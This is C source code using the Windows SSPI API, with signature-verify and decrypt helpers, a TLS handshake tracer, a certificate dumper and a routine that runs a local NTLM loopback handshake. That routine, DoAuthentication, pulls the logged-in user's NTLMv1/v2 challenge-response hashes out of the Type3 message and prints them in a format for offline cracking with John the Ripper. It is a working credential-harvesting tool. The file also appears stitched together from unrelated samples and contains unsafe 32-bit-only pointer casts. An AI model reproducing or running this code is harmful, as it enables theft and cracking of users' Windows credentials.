PBYTE VerifyThis( PBYTE pBuffer, LPDWORD pcbMessage, struct _SecHandle *hCtxt, ULONG cbMaxSignature) { SECURITY_STATUS ss; SecBufferDesc BuffDesc; SecBuffer SecBuff[2]; ULONG ulQop = 0; PBYTE pSigBuffer; PBYTE pDataBuffer; //------------------------------------------------------------------- // The global cbMaxSignature is the size of the signature // in the message received. printf ("data before verifying (including signature):\n"); PrintHexDump (*pcbMessage, pBuffer); //-------------------------------------------------------------------- // By agreement with the server, // the signature is at the beginning of the message received, // and the data that was signed comes after the signature. pSigBuffer = pBuffer; pDataBuffer = pBuffer + cbMaxSignature; //------------------------------------------------------------------- // The size of the message is reset to the size of the data only. *pcbMessage = *pcbMessage - (cbMaxSignature); //-------------------------------------------------------------------- // Prepare the buffers to be passed to the signature verification // function. BuffDesc.ulVersion = 0; BuffDesc.cBuffers = 2; BuffDesc.pBuffers = SecBuff; SecBuff[0].cbBuffer = cbMaxSignature; SecBuff[0].BufferType = SECBUFFER_TOKEN; SecBuff[0].pvBuffer = pSigBuffer; SecBuff[1].cbBuffer = *pcbMessage; SecBuff[1].BufferType = SECBUFFER_DATA; SecBuff[1].pvBuffer = pDataBuffer; ss = VerifySignature( hCtxt, &BuffDesc, 0, &ulQop ); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "VerifyMessage failed"); } else { printf("Message was properly signed.\n"); } return pDataBuffer; } // end VerifyThis
PBYTE DecryptThis( PBYTE pBuffer, LPDWORD pcbMessage, struct _SecHandle *hCtxt, ULONG cbSecurityTrailer) { SECURITY_STATUS ss; SecBufferDesc BuffDesc; SecBuffer SecBuff[2]; ULONG ulQop = 0; PBYTE pSigBuffer; PBYTE pDataBuffer; DWORD SigBufferSize; //------------------------------------------------------------------- // By agreement, the server encrypted the message and set the size // of the trailer block to be just what it needed. DecryptMessage // needs the size of the trailer block. // The size of the trailer is in the first DWORD of the // message received. SigBufferSize = *((DWORD *) pBuffer); printf ("data before decryption including trailer (%lu bytes):\n", *pcbMessage); PrintHexDump (*pcbMessage, (PBYTE) pBuffer); //-------------------------------------------------------------------- // By agreement, the server placed the trailer at the beginning // of the message that was sent immediately following the trailer // size DWORD. pSigBuffer = pBuffer + sizeof(DWORD); //-------------------------------------------------------------------- // The data comes after the trailer. pDataBuffer = pSigBuffer + SigBufferSize; //-------------------------------------------------------------------- // *pcbMessage is reset to the size of just the encrypted bytes. *pcbMessage = *pcbMessage - SigBufferSize - sizeof(DWORD); //-------------------------------------------------------------------- // Prepare the buffers to be passed to the DecryptMessage function. BuffDesc.ulVersion = 0; BuffDesc.cBuffers = 2; BuffDesc.pBuffers = SecBuff; SecBuff[0].cbBuffer = SigBufferSize; SecBuff[0].BufferType = SECBUFFER_TOKEN; SecBuff[0].pvBuffer = pSigBuffer; SecBuff[1].cbBuffer = *pcbMessage; SecBuff[1].BufferType = SECBUFFER_DATA; SecBuff[1].pvBuffer = pDataBuffer; ss = DecryptMessage( hCtxt, &BuffDesc, 0, &ulQop); if (!SEC_SUCCESS(ss)) { fprintf(stderr, "DecryptMessage failed"); } //------------------------------------------------------------------- // Return a pointer to the decrypted data. The trailer data // is discarded. return pDataBuffer; }
BOOL GenClientContext ( BYTE *pIn, DWORD cbIn, BYTE *pOut, DWORD *pcbOut, BOOL *pfDone, CHAR *pszTarget, CredHandle *hCred, struct _SecHandle *hcText) { SECURITY_STATUS ss; TimeStamp Lifetime; SecBufferDesc OutBuffDesc; SecBuffer OutSecBuff; SecBufferDesc InBuffDesc; SecBuffer InSecBuff; ULONG ContextAttributes; static TCHAR lpPackageName[1024]; if( NULL == pIn ) { strcpy_s(lpPackageName, 1024 * sizeof(TCHAR), "Negotiate"); ss = AcquireCredentialsHandle ( NULL, lpPackageName, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, hCred, &Lifetime); if (!(SEC_SUCCESS (ss))) { MyHandleError("AcquireCreds failed "); } } //-------------------------------------------------------------------- // Prepare the buffers. OutBuffDesc.ulVersion = 0; OutBuffDesc.cBuffers = 1; OutBuffDesc.pBuffers = &OutSecBuff; OutSecBuff.cbBuffer = *pcbOut; OutSecBuff.BufferType = SECBUFFER_TOKEN; OutSecBuff.pvBuffer = pOut; //------------------------------------------------------------------- // The input buffer is created only if a message has been received // from the server. if (pIn) { InBuffDesc.ulVersion = 0; InBuffDesc.cBuffers = 1; InBuffDesc.pBuffers = &InSecBuff; InSecBuff.cbBuffer = cbIn; InSecBuff.BufferType = SECBUFFER_TOKEN; InSecBuff.pvBuffer = pIn; ss = InitializeSecurityContext ( hCred, hcText, pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, &InBuffDesc, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime); } else { ss = InitializeSecurityContext ( hCred, NULL, pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, NULL, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime); } if (!SEC_SUCCESS (ss)) { MyHandleError ("InitializeSecurityContext failed " ); } //------------------------------------------------------------------- // If necessary, complete the token. if ((SEC_I_COMPLETE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)) { ss = CompleteAuthToken (hcText, &OutBuffDesc); if (!SEC_SUCCESS(ss)) { fprintf (stderr, "complete failed: 0x%08x\n", ss); return FALSE; } } *pcbOut = OutSecBuff.cbBuffer; *pfDone = !((SEC_I_CONTINUE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss)); printf ("Token buffer generated (%lu bytes):\n", OutSecBuff.cbBuffer); PrintHexDump (OutSecBuff.cbBuffer, (PBYTE)OutSecBuff.pvBuffer); return TRUE; }
// Trace handshake buffer void CSSLHelper::TraceHandshake() { if (MaxBufBytes < 5) DebugMsg("Buffer space too small"); else { const byte * BufPtr = DataPtr; if (length + 5 == MaxBufBytes) DebugMsg("Exactly one buffer is present"); else if (length + 5 <= MaxBufBytes) DebugMsg("Whole buffer is present"); else DebugMsg("Only part of the buffer is present"); if (major == 3) { if (minor == 0) DebugMsg("SSL version 3.0"); else if (minor == 1) DebugMsg("TLS version 1.0"); else if (minor == 2) DebugMsg("TLS version 1.1"); else if (minor == 3) DebugMsg("TLS version 1.2"); else DebugMsg("TLS version after 1.2"); } else { DebugMsg("Content Type = %d, Major.Minor Version = %d.%d, length %d (0x%04X)", contentType, major, minor, length, length); DebugMsg("This version is not recognized so no more information is available"); PrintHexDump(MaxBufBytes, OriginalBufPtr); return; } // This is a version we recognize if (contentType != 22) { DebugMsg("This content type (%d) is not recognized", contentType); PrintHexDump(MaxBufBytes, OriginalBufPtr); return; } // This is a handshake message (content type 22) if (handshakeType != 1) { DebugMsg("This handshake type (%d) is not recognized", handshakeType); PrintHexDump(MaxBufBytes, OriginalBufPtr); return; } // This is a client hello message (handshake type 1) DebugMsg("client_hello"); BufPtr += 2; // Skip ClientVersion BufPtr += 32; // Skip Random UINT8 sessionidLength = *BufPtr; BufPtr += 1 + sessionidLength; // Skip SessionID UINT16 cipherSuitesLength = (*(BufPtr) << 8) + *(BufPtr + 1); BufPtr += 2 + cipherSuitesLength; // Skip CipherSuites UINT8 compressionMethodsLength = *BufPtr; BufPtr += 1 + compressionMethodsLength; // Skip Compression methods bool extensionsPresent = BufPtr < BufEnd; UINT16 extensionsLength = (*(BufPtr) << 8) + *(BufPtr + 1); BufPtr += 2; if (extensionsLength == BufEnd - BufPtr) DebugMsg("There are %d bytes of extension data", extensionsLength); while (BufPtr < BufEnd) { UINT16 extensionType = (*(BufPtr) << 8) + *(BufPtr + 1); BufPtr += 2; UINT16 extensionDataLength = (*(BufPtr) << 8) + *(BufPtr + 1); BufPtr += 2; if (extensionType == 0) // server name list, in practice there's only ever one name in it (see RFC 6066) { UINT16 serverNameListLength = (*(BufPtr) << 8) + *(BufPtr + 1); BufPtr += 2; DebugMsg("Server name list extension, length %d", serverNameListLength); const byte * serverNameListEnd = BufPtr + serverNameListLength; while (BufPtr < serverNameListEnd) { UINT8 serverNameType = *(BufPtr++); UINT16 serverNameLength = (*(BufPtr) << 8) + *(BufPtr + 1); BufPtr += 2; if (serverNameType == 0) DebugMsg(" Requested name \"%*s\"", serverNameLength, BufPtr); else DebugMsg(" Server name Type %d, length %d, data \"%*s\"", serverNameType, serverNameLength, serverNameLength, BufPtr); BufPtr += serverNameLength; } } else { DebugMsg("Extension Type %d, length %d", extensionType, extensionDataLength); BufPtr += extensionDataLength; } } if (BufPtr == BufEnd) DebugMsg("Extensions exactly filled the header, as expected"); else DebugMsg("** Error ** Extensions did not fill the header"); } PrintHexDump(MaxBufBytes, OriginalBufPtr); return; }
// Display a UI with the certificate info and also write it to the debug output HRESULT ShowCertInfo(PCCERT_CONTEXT pCertContext, CString Title) { TCHAR pszNameString[256]; void* pvData; DWORD cbData; DWORD dwPropId = 0; // Display the certificate. if (!CryptUIDlgViewContext( CERT_STORE_CERTIFICATE_CONTEXT, pCertContext, NULL, CStringW(Title), 0, NULL)) { DebugMsg("UI failed."); } if (CertGetNameString( pCertContext, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, NULL, pszNameString, 128)) { DebugMsg("Certificate for %S", ATL::CT2W(pszNameString)); } else DebugMsg("CertGetName failed."); int Extensions = pCertContext->pCertInfo->cExtension; auto *p = pCertContext->pCertInfo->rgExtension; for (int i = 0; i < Extensions; i++) { DebugMsg("Extension %s", (p++)->pszObjId); } //------------------------------------------------------------------- // Loop to find all of the property identifiers for the specified // certificate. The loop continues until // CertEnumCertificateContextProperties returns zero. while (0 != (dwPropId = CertEnumCertificateContextProperties( pCertContext, // The context whose properties are to be listed. dwPropId))) // Number of the last property found. // This must be zero to find the first // property identifier. { //------------------------------------------------------------------- // When the loop is executed, a property identifier has been found. // Print the property number. DebugMsg("Property # %d found->", dwPropId); //------------------------------------------------------------------- // Indicate the kind of property found. switch (dwPropId) { case CERT_FRIENDLY_NAME_PROP_ID: { DebugMsg("Friendly name: "); break; } case CERT_SIGNATURE_HASH_PROP_ID: { DebugMsg("Signature hash identifier "); break; } case CERT_KEY_PROV_HANDLE_PROP_ID: { DebugMsg("KEY PROVE HANDLE"); break; } case CERT_KEY_PROV_INFO_PROP_ID: { DebugMsg("KEY PROV INFO PROP ID "); break; } case CERT_SHA1_HASH_PROP_ID: { DebugMsg("SHA1 HASH identifier"); break; } case CERT_MD5_HASH_PROP_ID: { DebugMsg("md5 hash identifier "); break; } case CERT_KEY_CONTEXT_PROP_ID: { DebugMsg("KEY CONTEXT PROP identifier"); break; } case CERT_KEY_SPEC_PROP_ID: { DebugMsg("KEY SPEC PROP identifier"); break; } case CERT_ENHKEY_USAGE_PROP_ID: { DebugMsg("ENHKEY USAGE PROP identifier"); break; } case CERT_NEXT_UPDATE_LOCATION_PROP_ID: { DebugMsg("NEXT UPDATE LOCATION PROP identifier"); break; } case CERT_PVK_FILE_PROP_ID: { DebugMsg("PVK FILE PROP identifier "); break; } case CERT_DESCRIPTION_PROP_ID: { DebugMsg("DESCRIPTION PROP identifier "); break; } case CERT_ACCESS_STATE_PROP_ID: { DebugMsg("ACCESS STATE PROP identifier "); break; } case CERT_SMART_CARD_DATA_PROP_ID: { DebugMsg("SMART_CARD DATA PROP identifier "); break; } case CERT_EFS_PROP_ID: { DebugMsg("EFS PROP identifier "); break; } case CERT_FORTEZZA_DATA_PROP_ID: { DebugMsg("FORTEZZA DATA PROP identifier "); break; } case CERT_ARCHIVED_PROP_ID: { DebugMsg("ARCHIVED PROP identifier "); break; } case CERT_KEY_IDENTIFIER_PROP_ID: { DebugMsg("KEY IDENTIFIER PROP identifier "); break; } case CERT_AUTO_ENROLL_PROP_ID: { DebugMsg("AUTO ENROLL identifier. "); break; } case CERT_ISSUER_PUBLIC_KEY_MD5_HASH_PROP_ID: { DebugMsg("ISSUER PUBLIC KEY MD5 HASH identifier. "); break; } } // End switch. //------------------------------------------------------------------- // Retrieve information on the property by first getting the // property size. // For more information, see CertGetCertificateContextProperty. if (CertGetCertificateContextProperty( pCertContext, dwPropId, NULL, &cbData)) { // Continue. } else { // If the first call to the function failed, // exit to an error routine. DebugMsg("Call #1 to GetCertContextProperty failed."); return E_FAIL; } //------------------------------------------------------------------- // The call succeeded. Use the size to allocate memory // for the property. if (NULL != (pvData = (void*)malloc(cbData))) { // Memory is allocated. Continue. } else { // If memory allocation failed, exit to an error routine. DebugMsg("Memory allocation failed."); return E_FAIL; } //---------------------------------------------------------------- // Allocation succeeded. Retrieve the property data. if (CertGetCertificateContextProperty( pCertContext, dwPropId, pvData, &cbData)) { // The data has been retrieved. Continue. } else { // If an error occurred in the second call, // exit to an error routine. DebugMsg("Call #2 failed."); return E_FAIL; } //--------------------------------------------------------------- // Show the results. DebugMsg("The Property Content is"); PrintHexDump(cbData, pvData); //---------------------------------------------------------------- // Free the certificate context property memory. free(pvData); } return S_OK; }
BOOL DoAuthentication (void) { SECURITY_STATUS ss; DWORD cbIn; DWORD cbOut; DWORD g_cbMaxMessage; BOOL done = FALSE; BOOL fDone = FALSE; BOOL fNewConversation = TRUE; TimeStamp Lifetime; PSecPkgInfoA pkgInfo; CredHandle hcred; CredHandle hCcred; struct _SecHandle hctxt; struct _SecHandle hCctxt; PBYTE g_pInBuf = NULL; PBYTE g_pOutBuf = NULL; SEC_CHAR g_lpPackageName[1024]; PBYTE nonce, clientnonce, lmhash, nthash; PCHAR pUserName = NULL; DWORD cbUserName = 0; lstrcpynA (g_lpPackageName, "NTLM",5); ss = QuerySecurityPackageInfoA ( g_lpPackageName, &pkgInfo); if (!SEC_SUCCESS(ss)) MyHandleError("Could not query package"); g_cbMaxMessage = pkgInfo->cbMaxToken; FreeContextBuffer(pkgInfo); g_pInBuf = (PBYTE) malloc (g_cbMaxMessage); g_pOutBuf = (PBYTE) malloc (g_cbMaxMessage); if (NULL == g_pInBuf || NULL == g_pOutBuf) MyHandleError("Memory allocation"); ss = AcquireCredentialsHandleA (NULL, g_lpPackageName, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hcred, &Lifetime); if (!SEC_SUCCESS (ss)) MyHandleError("AcquireCreds failed"); cbOut = g_cbMaxMessage; if (!GenClientContext ( NULL, 0, g_pOutBuf, &cbOut, &fDone, "NTLM", &hCcred, &hCctxt)) MyHandleError("Cant't generate client context"); printf ("Type%hhd message (%lu bytes):\n",g_pOutBuf[8], cbOut);//type1 PrintHexDump (cbOut, (PBYTE)g_pOutBuf); memcpy(g_pInBuf,g_pOutBuf, cbOut); cbIn = cbOut; cbOut = g_cbMaxMessage; if (!GenServerContext (g_pInBuf, cbIn, g_pOutBuf, &cbOut, &done, fNewConversation, &hcred, &hctxt)) MyHandleError("GenServerContext failed"); fNewConversation = FALSE; printf ("Type%hhd message (%lu bytes):\n",g_pOutBuf[8], cbOut); //type2 PrintHexDump (cbOut, (PBYTE)g_pOutBuf); memcpy(g_pInBuf,g_pOutBuf, cbOut); cbIn = cbOut; cbOut = g_cbMaxMessage; nonce = (PBYTE) malloc (16); memcpy (nonce, (void *)&g_pOutBuf[24], 8); if (!GenClientContext (g_pInBuf, cbIn, g_pOutBuf, &cbOut, &fDone, "NTLM", &hCcred, &hCctxt)) MyHandleError("GenClientContext failed"); printf ("Type%hhd message (%lu bytes):\n",g_pOutBuf[8], cbOut);//type3 PrintHexDump (cbOut, (PBYTE)g_pOutBuf); GetUserNameExA(NameSamCompatible, pUserName, &cbUserName); pUserName = (PCHAR) malloc (cbUserName); GetUserNameExA(NameSamCompatible, pUserName, &cbUserName); cbUserName = (DWORD)((int)strchr(pUserName,'\\')); *(char *)cbUserName = 0; printf("g_pOutBuf[22]=%d\n",g_pOutBuf[22]); if (g_pOutBuf[22] > 24) { printf("NTLMv2\n"); nthash = (PBYTE) malloc (16); cbIn = g_pOutBuf[24] + (g_pOutBuf[25] << 8); memcpy (nthash, (void *)&g_pOutBuf[cbIn], 16); cbIn += 16; clientnonce = (PBYTE) malloc (cbOut - cbIn - 16); //memcpy (clientnonce, (void *)&g_pOutBuf[cbIn], 84); memcpy (clientnonce, (void *)&g_pOutBuf[cbIn], cbOut - cbIn - 16); printf("Nonce: "); PrintHex (8, nonce); printf("\nClientNonce: "); PrintHex (cbOut - cbIn - 16, clientnonce); printf("\nNThash: "); PrintHex (16, nthash); printf("\n"); printf("\nJTR: %s::%s", (unsigned char *)((int)cbUserName+1), (unsigned char *)pUserName); printf(":"); PrintHex (8, nonce); printf(":"); PrintHex (16, nthash); printf(":"); PrintHex (cbOut - cbIn - 16, clientnonce); printf("\n"); } else if (g_pOutBuf[22] == 24) { printf("NTLM\n"); lmhash = (PBYTE) malloc (24); cbIn = g_pOutBuf[16] + (g_pOutBuf[17] << 8); memcpy (lmhash, (void *)&g_pOutBuf[cbIn], 24); nthash = (PBYTE) malloc (24); cbIn = g_pOutBuf[24] + (g_pOutBuf[25] << 8); memcpy (nthash, (void *)&g_pOutBuf[cbIn], 24); printf("\nNonce: "); PrintHex (8, nonce); printf("\nLMhash: "); PrintHex (24, lmhash); printf("\nNThash: "); PrintHex (24, nthash); printf("\nJTR: %s::%s", (unsigned char *)((int)cbUserName+1), (unsigned char *)pUserName); printf(":"); PrintHex (24, lmhash); printf(":"); PrintHex (24, nthash); printf(":"); PrintHex (8, nonce); printf("\n"); } else { printf("Unknown hashtype"); } return(TRUE); }